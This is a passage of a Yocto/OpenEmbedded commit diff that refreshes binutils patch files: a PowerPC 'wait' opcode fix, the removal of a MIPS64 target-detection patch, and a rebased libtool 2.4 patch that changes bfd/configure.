+From b77c5a67d4ac2513d0b4bab5e4dd1c33b339689b Mon Sep 17 00:00:00 2001
From: Zhenhua Luo <zhenhua.luo@nxp.com>
Date: Sat, 11 Jun 2016 22:08:29 -0500
-Subject: [PATCH 11/17] fix the incorrect assembling for ppc wait mnemonic
+Subject: [PATCH] fix the incorrect assembling for ppc wait mnemonic
+
+The wait mnemonic for ppc targets is incorrectly assembled into 0x7c00003c due
+to duplicated address definition with waitasec instruction. The issue causes
+kernel boot calltrace for ppc targets when wait instruction is executed.
Signed-off-by: Zhenhua Luo <zhenhua.luo@nxp.com>
@@ -11,27 +15,24 @@ Upstream-Status: Pending
1 file changed, 1 insertion(+), 3 deletions(-)
diff --git a/opcodes/ppc-opc.c b/opcodes/ppc-opc.c
-index 5e20d617664..4c9656ecf08 100644
+index 13d8b6c3c07..cd979f9c80c 100644
--- a/opcodes/ppc-opc.c
+++ b/opcodes/ppc-opc.c
-@@ -6265,8 +6265,6 @@ const struct powerpc_opcode powerpc_opcodes[] = {
+@@ -6378,8 +6378,6 @@ const struct powerpc_opcode powerpc_opcodes[] = {
{"waitasec", X(31,30), XRTRARB_MASK, POWER8, POWER9, {0}},
- {"waitrsv", XWCPL(31,30,1,0),0xffffffff, POWER10, 0, {0}},
- {"pause_short", XWCPL(31,30,2,0),0xffffffff, POWER10, 0, {0}},
+ {"waitrsv", XWCPL(31,30,1,0),0xffffffff, POWER10, EXT, {0}},
+ {"pause_short", XWCPL(31,30,2,0),0xffffffff, POWER10, EXT, {0}},
-{"wait", X(31,30), XWCPL_MASK, POWER10, 0, {WC, PL}},
-{"wait", X(31,30), XWC_MASK, POWER9, POWER10, {WC}},
{"lwepx", X(31,31), X_MASK, E500MC|PPCA2, 0, {RT, RA0, RB}},
-@@ -6326,7 +6324,7 @@ const struct powerpc_opcode powerpc_opcodes[] = {
+@@ -6433,7 +6431,7 @@ const struct powerpc_opcode powerpc_opcodes[] = {
- {"waitrsv", X(31,62)|(1<<21), 0xffffffff, E500MC|PPCA2, 0, {0}},
- {"waitimpl", X(31,62)|(2<<21), 0xffffffff, E500MC|PPCA2, 0, {0}},
+ {"waitrsv", X(31,62)|(1<<21), 0xffffffff, E500MC|PPCA2, EXT, {0}},
+ {"waitimpl", X(31,62)|(2<<21), 0xffffffff, E500MC|PPCA2, EXT, {0}},
-{"wait", X(31,62), XWC_MASK, E500MC|PPCA2, 0, {WC}},
+{"wait", X(31,62), XWC_MASK, E500MC|PPCA2|POWER9|POWER10, 0, {WC}},
{"dcbstep", XRT(31,63,0), XRT_MASK, E500MC|PPCA2, 0, {RA0, RB}},
---
-2.28.0
-
diff --git a/meta/recipes-devtools/binutils/binutils/0012-Detect-64-bit-MIPS-targets.patch b/meta/recipes-devtools/binutils/binutils/0012-Detect-64-bit-MIPS-targets.patch
deleted file mode 100644
index ef8b253b6a..0000000000
--- a/meta/recipes-devtools/binutils/binutils/0012-Detect-64-bit-MIPS-targets.patch
+++ /dev/null
@@ -1,50 +0,0 @@
-From dbff6bdf2123f5495b8be930304d9aa5e88006a7 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Fri, 31 Mar 2017 11:42:03 -0700
-Subject: [PATCH 12/17] Detect 64-bit MIPS targets
-
-Add mips64 target triplets and default to N64
-
-Upstream-Status: Submitted
-https://sourceware.org/ml/binutils/2016-08/msg00048.html
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- gold/configure.tgt | 14 ++++++++++++++
- 1 file changed, 14 insertions(+)
-
-diff --git a/gold/configure.tgt b/gold/configure.tgt
-index aa7ec552aec..470515062e4 100644
---- a/gold/configure.tgt
-+++ b/gold/configure.tgt
-@@ -153,6 +153,13 @@ aarch64*-*)
- targ_big_endian=false
- targ_extra_big_endian=true
- ;;
-+mips*64*el*-*-*|mips*64*le*-*-*)
-+ targ_obj=mips
-+ targ_machine=EM_MIPS_RS3_LE
-+ targ_size=64
-+ targ_big_endian=false
-+ targ_extra_big_endian=true
-+ ;;
- mips*el*-*-*|mips*le*-*-*)
- targ_obj=mips
- targ_machine=EM_MIPS_RS3_LE
-@@ -160,6 +167,13 @@ mips*el*-*-*|mips*le*-*-*)
- targ_big_endian=false
- targ_extra_big_endian=true
- ;;
-+mips*64*-*-*)
-+ targ_obj=mips
-+ targ_machine=EM_MIPS
-+ targ_size=64
-+ targ_big_endian=true
-+ targ_extra_big_endian=false
-+ ;;
- mips*-*-*)
- targ_obj=mips
- targ_machine=EM_MIPS
---
-2.28.0
-
diff --git a/meta/recipes-devtools/binutils/binutils/0013-Use-libtool-2.4.patch b/meta/recipes-devtools/binutils/binutils/0013-Use-libtool-2.4.patch
index 987a96f4b7..8f87cfdb77 100644
--- a/meta/recipes-devtools/binutils/binutils/0013-Use-libtool-2.4.patch
+++ b/meta/recipes-devtools/binutils/binutils/0013-Use-libtool-2.4.patch
@@ -1,7 +1,7 @@
-From 7e2ddee8704c9c3b73760dd9464b18fade563d85 Mon Sep 17 00:00:00 2001
+From fd34d57c9e2a0bff1283a6707062ed4a42476b10 Mon Sep 17 00:00:00 2001
From: Khem Raj <raj.khem@gmail.com>
Date: Sun, 14 Feb 2016 17:04:07 +0000
-Subject: [PATCH 13/17] Use libtool 2.4
+Subject: [PATCH] Use libtool 2.4
get libtool sysroot support
@@ -9,27 +9,27 @@ Upstream-Status: Pending
Signed-off-by: Khem Raj <raj.khem@gmail.com>
---
- bfd/configure | 1322 +++++++++++++++-----
+ bfd/configure | 1340 +++++++++++++++-----
bfd/configure.ac | 2 +-
- binutils/configure | 1320 +++++++++++++++-----
- gas/configure | 1320 +++++++++++++++-----
- gprof/configure | 1320 +++++++++++++++-----
- ld/configure | 1695 ++++++++++++++++++-------
- libctf/configure | 1319 +++++++++++++++-----
- libtool.m4 | 1080 +++++++++++-----
+ binutils/configure | 1338 +++++++++++++++-----
+ gas/configure | 1338 +++++++++++++++-----
+ gprof/configure | 1338 +++++++++++++++-----
+ ld/configure | 1713 +++++++++++++++++++-------
+ libctf/configure | 1337 +++++++++++++++-----
+ libtool.m4 | 1100 +++++++++++------
ltmain.sh | 2925 +++++++++++++++++++++++++++++---------------
ltoptions.m4 | 2 +-
ltversion.m4 | 12 +-
lt~obsolete.m4 | 2 +-
- opcodes/configure | 1320 +++++++++++++++-----
- zlib/configure | 1320 +++++++++++++++-----
- 14 files changed, 10931 insertions(+), 4028 deletions(-)
+ opcodes/configure | 1338 +++++++++++++++-----
+ zlib/configure | 1338 +++++++++++++++-----
+ 14 files changed, 10995 insertions(+), 4128 deletions(-)
diff --git a/bfd/configure b/bfd/configure
-index 0340ed541b5..2012656b3b7 100755
+index daa51244369..79d0c4b4623 100755
--- a/bfd/configure
+++ b/bfd/configure
-@@ -704,6 +704,9 @@ OTOOL
+@@ -705,6 +705,9 @@ OTOOL
LIPO
NMEDIT
DSYMUTIL
@@ -39,7 +39,7 @@ index 0340ed541b5..2012656b3b7 100755
OBJDUMP
LN_S
NM
-@@ -822,6 +825,7 @@ enable_static
+@@ -823,6 +826,7 @@ enable_static
with_pic
enable_fast_install
with_gnu_ld
@@ -47,7 +47,7 @@ index 0340ed541b5..2012656b3b7 100755
enable_libtool_lock
enable_plugins
enable_largefile
-@@ -1504,6 +1508,8 @@ Optional Packages:
+@@ -1507,6 +1511,8 @@ Optional Packages:
--with-pic try to use only PIC/non-PIC objects [default=use
both]
--with-gnu-ld assume the C compiler uses GNU ld [default=no]
@@ -56,7 +56,7 @@ index 0340ed541b5..2012656b3b7 100755
--with-mmap try using mmap for BFD input files if available
--with-separate-debug-dir=DIR
Look for global separate debug info in DIR
-@@ -5693,8 +5699,8 @@ esac
+@@ -4988,8 +4994,8 @@ esac
@@ -67,7 +67,7 @@ index 0340ed541b5..2012656b3b7 100755
-@@ -5734,7 +5740,7 @@ ECHO=$ECHO$ECHO$ECHO$ECHO$ECHO$ECHO
+@@ -5029,7 +5035,7 @@ ECHO=$ECHO$ECHO$ECHO$ECHO$ECHO$ECHO
{ $as_echo "$as_me:${as_lineno-$LINENO}: checking how to print strings" >&5
$as_echo_n "checking how to print strings... " >&6; }
# Test print first, because it will be a builtin if present.
@@ -76,7 +76,7 @@ index 0340ed541b5..2012656b3b7 100755
test "X`print -r -- $ECHO 2>/dev/null`" = "X$ECHO"; then
ECHO='print -r --'
elif test "X`printf %s $ECHO 2>/dev/null`" = "X$ECHO"; then
-@@ -6420,8 +6426,8 @@ $as_echo_n "checking whether the shell understands some XSI constructs... " >&6;
+@@ -5715,8 +5721,8 @@ $as_echo_n "checking whether the shell understands some XSI constructs... " >&6;
# Try some XSI features
xsi_shell=no
( _lt_dummy="a/b/c"
@@ -87,7 +87,7 @@ index 0340ed541b5..2012656b3b7 100755
&& eval 'test $(( 1 + 1 )) -eq 2 \
&& test "${#_lt_dummy}" -eq 5' ) >/dev/null 2>&1 \
&& xsi_shell=yes
-@@ -6470,6 +6476,80 @@ esac
+@@ -5765,6 +5771,80 @@ esac
@@ -168,7 +168,7 @@ index 0340ed541b5..2012656b3b7 100755
{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $LD option to reload object files" >&5
$as_echo_n "checking for $LD option to reload object files... " >&6; }
if ${lt_cv_ld_reload_flag+:} false; then :
-@@ -6486,6 +6566,11 @@ case $reload_flag in
+@@ -5781,6 +5861,11 @@ case $reload_flag in
esac
reload_cmds='$LD$reload_flag -o $output$reload_objs'
case $host_os in
@@ -180,7 +180,7 @@ index 0340ed541b5..2012656b3b7 100755
darwin*)
if test "$GCC" = yes; then
reload_cmds='$LTCC $LTCFLAGS -nostdlib ${wl}-r -o $output$reload_objs'
-@@ -6654,7 +6739,8 @@ mingw* | pw32*)
+@@ -5949,7 +6034,8 @@ mingw* | pw32*)
lt_cv_deplibs_check_method='file_magic ^x86 archive import|^x86 DLL'
lt_cv_file_magic_cmd='func_win32_libid'
else
@@ -190,7 +190,7 @@ index 0340ed541b5..2012656b3b7 100755
lt_cv_file_magic_cmd='$OBJDUMP -f'
fi
;;
-@@ -6808,6 +6894,21 @@ esac
+@@ -6103,6 +6189,21 @@ esac
fi
{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_deplibs_check_method" >&5
$as_echo "$lt_cv_deplibs_check_method" >&6; }
@@ -212,7 +212,7 @@ index 0340ed541b5..2012656b3b7 100755
file_magic_cmd=$lt_cv_file_magic_cmd
deplibs_check_method=$lt_cv_deplibs_check_method
test -z "$deplibs_check_method" && deplibs_check_method=unknown
-@@ -6821,11 +6922,164 @@ test -z "$deplibs_check_method" && deplibs_check_method=unknown
+@@ -6118,6 +6219,157 @@ test -z "$deplibs_check_method" && deplibs_check_method=unknown
@@ -226,11 +226,7 @@ index 0340ed541b5..2012656b3b7 100755
+
+
+
-
-
- if test -n "$ac_tool_prefix"; then
-- # Extract the first word of "${ac_tool_prefix}ar", so it can be a program name with args.
--set dummy ${ac_tool_prefix}ar; ac_word=$2
++if test -n "$ac_tool_prefix"; then
+ # Extract the first word of "${ac_tool_prefix}dlltool", so it can be a program name with args.
+set dummy ${ac_tool_prefix}dlltool; ac_word=$2
+{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
@@ -371,7 +367,15 @@ index 0340ed541b5..2012656b3b7 100755
+
+
+
-+if test -n "$ac_tool_prefix"; then
+ plugin_option=
+ plugin_names="liblto_plugin.so liblto_plugin-0.dll cyglto_plugin-0.dll"
+ for plugin in $plugin_names; do
+@@ -6132,8 +6384,10 @@ for plugin in $plugin_names; do
+ done
+
+ if test -n "$ac_tool_prefix"; then
+- # Extract the first word of "${ac_tool_prefix}ar", so it can be a program name with args.
+-set dummy ${ac_tool_prefix}ar; ac_word=$2
+ for ac_prog in ar
+ do
+ # Extract the first word of "$ac_tool_prefix$ac_prog", so it can be a program name with args.
@@ -379,7 +383,7 @@ index 0340ed541b5..2012656b3b7 100755
{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
$as_echo_n "checking for $ac_word... " >&6; }
if ${ac_cv_prog_AR+:} false; then :
-@@ -6841,7 +7095,7 @@ do
+@@ -6149,7 +6403,7 @@ do
test -z "$as_dir" && as_dir=.
for ac_exec_ext in '' $ac_executable_extensions; do
if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
@@ -388,7 +392,7 @@ index 0340ed541b5..2012656b3b7 100755
$as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
break 2
fi
-@@ -6861,11 +7115,15 @@ $as_echo "no" >&6; }
+@@ -6169,11 +6423,15 @@ $as_echo "no" >&6; }
fi
@@ -407,7 +411,7 @@ index 0340ed541b5..2012656b3b7 100755
{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
$as_echo_n "checking for $ac_word... " >&6; }
if ${ac_cv_prog_ac_ct_AR+:} false; then :
-@@ -6881,7 +7139,7 @@ do
+@@ -6189,7 +6447,7 @@ do
test -z "$as_dir" && as_dir=.
for ac_exec_ext in '' $ac_executable_extensions; do
if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
@@ -416,7 +420,7 @@ index 0340ed541b5..2012656b3b7 100755
$as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
break 2
fi
-@@ -6900,6 +7158,10 @@ else
+@@ -6208,6 +6466,10 @@ else
$as_echo "no" >&6; }
fi
@@ -427,7 +431,7 @@ index 0340ed541b5..2012656b3b7 100755
if test "x$ac_ct_AR" = x; then
AR="false"
else
-@@ -6911,16 +7173,72 @@ ac_tool_warned=yes ;;
+@@ -6219,25 +6481,20 @@ ac_tool_warned=yes ;;
esac
AR=$ac_ct_AR
fi
@@ -436,20 +440,37 @@ index 0340ed541b5..2012656b3b7 100755
fi
-test -z "$AR" && AR=ar
+-if test -n "$plugin_option"; then
+- if $AR --help 2>&1 | grep -q "\--plugin"; then
+- touch conftest.c
+- $AR $plugin_option rc conftest.a conftest.c
+- if test "$?" != 0; then
+- { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: Failed: $AR $plugin_option rc" >&5
++ touch conftest.c
++ $AR $plugin_option rc conftest.a conftest.c
++ if test "$?" != 0; then
++ { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: Failed: $AR $plugin_option rc" >&5
+ $as_echo "$as_me: WARNING: Failed: $AR $plugin_option rc" >&2;}
+- else
+- AR="$AR $plugin_option"
+- fi
+- rm -f conftest.*
++ else
++ AR="$AR $plugin_option"
+ fi
+-fi
-test -z "$AR_FLAGS" && AR_FLAGS=cru
++ rm -f conftest.*
+: ${AR=ar}
+: ${AR_FLAGS=cru}
+
-+
-+
-+
-+
-+
-+
-+
-+
-+
-+
+
+
+
+@@ -6248,6 +6505,63 @@ test -z "$AR_FLAGS" && AR_FLAGS=cru
+
+
+
+{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for archiver @FILE support" >&5
+$as_echo_n "checking for archiver @FILE support... " >&6; }
+if ${lt_cv_ar_at_file+:} false; then :
@@ -462,7 +483,7 @@ index 0340ed541b5..2012656b3b7 100755
+int
+main ()
+{
-
++
+ ;
+ return 0;
+}
@@ -488,23 +509,29 @@ index 0340ed541b5..2012656b3b7 100755
+ fi
+ fi
+ rm -f conftest.* libconftest.a
-
++
+fi
+rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext
-
++
+fi
+{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_ar_at_file" >&5
+$as_echo "$lt_cv_ar_at_file" >&6; }
-
++
+if test "x$lt_cv_ar_at_file" = xno; then
+ archiver_list_spec=
+else
+ archiver_list_spec=$lt_cv_ar_at_file
+fi
++
++
++
++
++
++
-
-
-@@ -7262,8 +7580,8 @@ esac
+ if test -n "$ac_tool_prefix"; then
+ # Extract the first word of "${ac_tool_prefix}strip", so it can be a program name with args.
+@@ -6588,8 +6902,8 @@ esac
lt_cv_sys_global_symbol_to_cdecl="sed -n -e 's/^T .* \(.*\)$/extern int \1();/p' -e 's/^$symcode* .* \(.*\)$/extern char \1;/p'"
# Transform an extracted symbol line into symbol name and symbol address
@@ -515,7 +542,7 @@ index 0340ed541b5..2012656b3b7 100755
# Handle CRLF in mingw tool chain
opt_cr=
-@@ -7299,6 +7617,7 @@ for ac_symprfx in "" "_"; do
+@@ -6625,6 +6939,7 @@ for ac_symprfx in "" "_"; do
else
lt_cv_sys_global_symbol_pipe="sed -n -e 's/^.*[ ]\($symcode$symcode*\)[ ][ ]*$ac_symprfx$sympat$opt_cr$/$symxfrm/p'"
fi
@@ -523,7 +550,7 @@ index 0340ed541b5..2012656b3b7 100755
# Check to see that the pipe works correctly.
pipe_works=no
-@@ -7340,6 +7659,18 @@ _LT_EOF
+@@ -6666,6 +6981,18 @@ _LT_EOF
if $GREP ' nm_test_var$' "$nlist" >/dev/null; then
if $GREP ' nm_test_func$' "$nlist" >/dev/null; then
cat <<_LT_EOF > conftest.$ac_ext
@@ -542,7 +569,7 @@ index 0340ed541b5..2012656b3b7 100755
#ifdef __cplusplus
extern "C" {
#endif
-@@ -7351,7 +7682,7 @@ _LT_EOF
+@@ -6677,7 +7004,7 @@ _LT_EOF
cat <<_LT_EOF >> conftest.$ac_ext
/* The mapping between symbol names and symbols. */
@@ -551,7 +578,7 @@ index 0340ed541b5..2012656b3b7 100755
const char *name;
void *address;
}
-@@ -7377,8 +7708,8 @@ static const void *lt_preloaded_setup() {
+@@ -6703,8 +7030,8 @@ static const void *lt_preloaded_setup() {
_LT_EOF
# Now try linking the two files.
mv conftest.$ac_objext conftstm.$ac_objext
@@ -562,7 +589,7 @@ index 0340ed541b5..2012656b3b7 100755
LIBS="conftstm.$ac_objext"
CFLAGS="$CFLAGS$lt_prog_compiler_no_builtin_flag"
if { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$ac_link\""; } >&5
-@@ -7388,8 +7719,8 @@ _LT_EOF
+@@ -6714,8 +7041,8 @@ _LT_EOF
test $ac_status = 0; } && test -s conftest${ac_exeext}; then
pipe_works=yes
fi
@@ -573,7 +600,7 @@ index 0340ed541b5..2012656b3b7 100755
else
echo "cannot find nm_test_func in $nlist" >&5
fi
-@@ -7426,6 +7757,16 @@ else
+@@ -6752,6 +7079,14 @@ else
$as_echo "ok" >&6; }
fi
@@ -585,12 +612,10 @@ index 0340ed541b5..2012656b3b7 100755
+fi
+
+
-+
-+
-@@ -7442,6 +7783,45 @@ fi
+@@ -6770,6 +7105,47 @@ fi
@@ -633,10 +658,12 @@ index 0340ed541b5..2012656b3b7 100755
+
+ { $as_echo "$as_me:${as_lineno-$LINENO}: result: ${lt_sysroot:-no}" >&5
+$as_echo "${lt_sysroot:-no}" >&6; }
++
++
-@@ -7653,6 +8033,123 @@ esac
+@@ -6979,6 +7355,123 @@ esac
need_locks="$enable_libtool_lock"
@@ -760,7 +787,7 @@ index 0340ed541b5..2012656b3b7 100755
case $host_os in
rhapsody* | darwin*)
-@@ -8216,6 +8713,8 @@ _LT_EOF
+@@ -7542,6 +8035,8 @@ _LT_EOF
$LTCC $LTCFLAGS -c -o conftest.o conftest.c 2>&5
echo "$AR cru libconftest.a conftest.o" >&5
$AR cru libconftest.a conftest.o 2>&5
@@ -769,26 +796,7 @@ index 0340ed541b5..2012656b3b7 100755
cat > conftest.c << _LT_EOF
int main() { return 0;}
_LT_EOF
-@@ -8380,7 +8879,8 @@ fi
- LIBTOOL_DEPS="$ltmain"
-
- # Always use our own libtool.
--LIBTOOL='$(SHELL) $(top_builddir)/libtool'
-+LIBTOOL='$(SHELL) $(top_builddir)'
-+LIBTOOL="$LIBTOOL/${host_alias}-libtool"
-
-
-
-@@ -8469,7 +8969,7 @@ aix3*)
- esac
-
- # Global variables:
--ofile=libtool
-+ofile=${host_alias}-libtool
- can_build_shared=yes
-
- # All known linkers require a `.a' archive for static linking (except MSVC,
-@@ -8767,8 +9267,6 @@ fi
+@@ -8093,8 +8589,6 @@ fi
lt_prog_compiler_pic=
lt_prog_compiler_static=
@@ -797,7 +805,7 @@ index 0340ed541b5..2012656b3b7 100755
if test "$GCC" = yes; then
lt_prog_compiler_wl='-Wl,'
-@@ -8934,6 +9432,12 @@ $as_echo_n "checking for $compiler option to produce PIC... " >&6; }
+@@ -8260,6 +8754,12 @@ $as_echo_n "checking for $compiler option to produce PIC... " >&6; }
lt_prog_compiler_pic='--shared'
lt_prog_compiler_static='--static'
;;
@@ -810,7 +818,7 @@ index 0340ed541b5..2012656b3b7 100755
pgcc* | pgf77* | pgf90* | pgf95* | pgfortran*)
# Portland Group compilers (*not* the Pentium gcc compiler,
# which looks to be a dead project)
-@@ -8996,7 +9500,7 @@ $as_echo_n "checking for $compiler option to produce PIC... " >&6; }
+@@ -8322,7 +8822,7 @@ $as_echo_n "checking for $compiler option to produce PIC... " >&6; }
lt_prog_compiler_pic='-KPIC'
lt_prog_compiler_static='-Bstatic'
case $cc_basename in
@@ -819,7 +827,7 @@ index 0340ed541b5..2012656b3b7 100755
lt_prog_compiler_wl='-Qoption ld ';;
*)
lt_prog_compiler_wl='-Wl,';;
-@@ -9053,13 +9557,17 @@ case $host_os in
+@@ -8379,13 +8879,17 @@ case $host_os in
lt_prog_compiler_pic="$lt_prog_compiler_pic -DPIC"
;;
esac
@@ -843,7 +851,7 @@ index 0340ed541b5..2012656b3b7 100755
#
# Check to make sure the PIC flag actually works.
-@@ -9120,6 +9628,11 @@ fi
+@@ -8446,6 +8950,11 @@ fi
@@ -855,7 +863,7 @@ index 0340ed541b5..2012656b3b7 100755
#
# Check to make sure the static flag actually works.
#
-@@ -9470,7 +9983,8 @@ _LT_EOF
+@@ -8796,7 +9305,8 @@ _LT_EOF
allow_undefined_flag=unsupported
always_export_symbols=no
enable_shared_with_static_runtimes=yes
@@ -865,7 +873,7 @@ index 0340ed541b5..2012656b3b7 100755
if $LD --help 2>&1 | $GREP 'auto-import' > /dev/null; then
archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags -o $output_objdir/$soname ${wl}--enable-auto-image-base -Xlinker --out-implib -Xlinker $lib'
-@@ -9569,12 +10083,12 @@ _LT_EOF
+@@ -8895,12 +9405,12 @@ _LT_EOF
whole_archive_flag_spec='--whole-archive$convenience --no-whole-archive'
hardcode_libdir_flag_spec=
hardcode_libdir_flag_spec_ld='-rpath $libdir'
@@ -880,7 +888,7 @@ index 0340ed541b5..2012656b3b7 100755
fi
;;
esac
-@@ -9588,8 +10102,8 @@ _LT_EOF
+@@ -8914,8 +9424,8 @@ _LT_EOF
archive_cmds='$LD -Bshareable $libobjs $deplibs $linker_flags -o $lib'
wlarc=
else
@@ -891,7 +899,7 @@ index 0340ed541b5..2012656b3b7 100755
fi
;;
-@@ -9607,8 +10121,8 @@ _LT_EOF
+@@ -8933,8 +9443,8 @@ _LT_EOF
_LT_EOF
elif $LD --help 2>&1 | $GREP ': supported targets:.* elf' > /dev/null; then
@@ -902,7 +910,7 @@ index 0340ed541b5..2012656b3b7 100755
else
ld_shlibs=no
fi
-@@ -9654,8 +10168,8 @@ _LT_EOF
+@@ -8980,8 +9490,8 @@ _LT_EOF
*)
if $LD --help 2>&1 | $GREP ': supported targets:.* elf' > /dev/null; then
@@ -913,7 +921,7 @@ index 0340ed541b5..2012656b3b7 100755
else
ld_shlibs=no
fi
-@@ -9785,7 +10299,13 @@ _LT_EOF
+@@ -9111,7 +9621,13 @@ _LT_EOF
allow_undefined_flag='-berok'
# Determine the default libpath from the value encoded in an
# empty executable.
@@ -928,7 +936,7 @@ index 0340ed541b5..2012656b3b7 100755
/* end confdefs.h. */
int
-@@ -9798,22 +10318,29 @@ main ()
+@@ -9124,22 +9640,29 @@ main ()
_ACEOF
if ac_fn_c_try_link "$LINENO"; then :
@@ -971,7 +979,7 @@ index 0340ed541b5..2012656b3b7 100755
hardcode_libdir_flag_spec='${wl}-blibpath:$libdir:'"$aix_libpath"
archive_expsym_cmds='$CC -o $output_objdir/$soname $libobjs $deplibs '"\${wl}$no_entry_flag"' $compiler_flags `if test "x${allow_undefined_flag}" != "x"; then func_echo_all "${wl}${allow_undefined_flag}"; else :; fi` '"\${wl}$exp_sym_flag:\$export_symbols $shared_flag"
-@@ -9825,7 +10352,13 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+@@ -9151,7 +9674,13 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
else
# Determine the default libpath from the value encoded in an
# empty executable.
@@ -986,7 +994,7 @@ index 0340ed541b5..2012656b3b7 100755
/* end confdefs.h. */
int
-@@ -9838,22 +10371,29 @@ main ()
+@@ -9164,22 +9693,29 @@ main ()
_ACEOF
if ac_fn_c_try_link "$LINENO"; then :
@@ -1029,7 +1037,7 @@ index 0340ed541b5..2012656b3b7 100755
hardcode_libdir_flag_spec='${wl}-blibpath:$libdir:'"$aix_libpath"
# Warning - without using the other run time loading flags,
-@@ -9898,20 +10438,63 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+@@ -9224,20 +9760,63 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
# Microsoft Visual C++.
# hardcode_libdir_flag_spec is actually meaningless, as there is
# no search path for DLLs.
@@ -1107,7 +1115,7 @@ index 0340ed541b5..2012656b3b7 100755
;;
darwin* | rhapsody*)
-@@ -9972,7 +10555,7 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+@@ -9298,7 +9877,7 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
# FreeBSD 3 and greater uses gcc -shared to do shared libraries.
freebsd* | dragonfly*)
@@ -1116,7 +1124,7 @@ index 0340ed541b5..2012656b3b7 100755
hardcode_libdir_flag_spec='-R$libdir'
hardcode_direct=yes
hardcode_shlibpath_var=no
-@@ -9980,7 +10563,7 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+@@ -9306,7 +9885,7 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
hpux9*)
if test "$GCC" = yes; then
@@ -1125,7 +1133,7 @@ index 0340ed541b5..2012656b3b7 100755
else
archive_cmds='$RM $output_objdir/$soname~$LD -b +b $install_libdir -o $output_objdir/$soname $libobjs $deplibs $linker_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib'
fi
-@@ -9996,7 +10579,7 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+@@ -9322,7 +9901,7 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
hpux10*)
if test "$GCC" = yes && test "$with_gnu_ld" = no; then
@@ -1134,7 +1142,7 @@ index 0340ed541b5..2012656b3b7 100755
else
archive_cmds='$LD -b +h $soname +b $install_libdir -o $lib $libobjs $deplibs $linker_flags'
fi
-@@ -10020,10 +10603,10 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+@@ -9346,10 +9925,10 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
archive_cmds='$CC -shared ${wl}+h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags'
;;
ia64*)
@@ -1147,7 +1155,7 @@ index 0340ed541b5..2012656b3b7 100755
;;
esac
else
-@@ -10102,23 +10685,36 @@ fi
+@@ -9428,23 +10007,36 @@ fi
irix5* | irix6* | nonstopux*)
if test "$GCC" = yes; then
@@ -1192,7 +1200,7 @@ index 0340ed541b5..2012656b3b7 100755
else
archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags -soname $soname `test -n "$verstring" && func_echo_all "-set_version $verstring"` -update_registry ${output_objdir}/so_locations -o $lib'
archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags -soname $soname `test -n "$verstring" && func_echo_all "-set_version $verstring"` -update_registry ${output_objdir}/so_locations -exports_file $export_symbols -o $lib'
-@@ -10203,7 +10799,7 @@ rm -f core conftest.err conftest.$ac_objext \
+@@ -9529,7 +10121,7 @@ rm -f core conftest.err conftest.$ac_objext \
osf4* | osf5*) # as osf3* with the addition of -msym flag
if test "$GCC" = yes; then
allow_undefined_flag=' ${wl}-expect_unresolved ${wl}\*'
@@ -1201,7 +1209,7 @@ index 0340ed541b5..2012656b3b7 100755
hardcode_libdir_flag_spec='${wl}-rpath ${wl}$libdir'
else
allow_undefined_flag=' -expect_unresolved \*'
-@@ -10222,9 +10818,9 @@ rm -f core conftest.err conftest.$ac_objext \
+@@ -9548,9 +10140,9 @@ rm -f core conftest.err conftest.$ac_objext \
no_undefined_flag=' -z defs'
if test "$GCC" = yes; then
wlarc='${wl}'
@@ -1213,7 +1221,7 @@ index 0340ed541b5..2012656b3b7 100755
else
case `$CC -V 2>&1` in
*"Compilers 5.0"*)
-@@ -10800,8 +11396,9 @@ cygwin* | mingw* | pw32* | cegcc*)
+@@ -10126,8 +10718,9 @@ cygwin* | mingw* | pw32* | cegcc*)
need_version=no
need_lib_prefix=no
@@ -1225,7 +1233,7 @@ index 0340ed541b5..2012656b3b7 100755
library_names_spec='$libname.dll.a'
# DLL is installed to $(libdir)/../bin by postinstall_cmds
postinstall_cmds='base_file=`basename \${file}`~
-@@ -10834,13 +11431,71 @@ cygwin* | mingw* | pw32* | cegcc*)
+@@ -10160,13 +10753,71 @@ cygwin* | mingw* | pw32* | cegcc*)
library_names_spec='`echo ${libname} | sed -e 's/^lib/pw/'``echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext}'
;;
esac
@@ -1298,7 +1306,7 @@ index 0340ed541b5..2012656b3b7 100755
# FIXME: first we should search . and the directory the executable is in
shlibpath_var=PATH
;;
-@@ -10932,7 +11587,7 @@ haiku*)
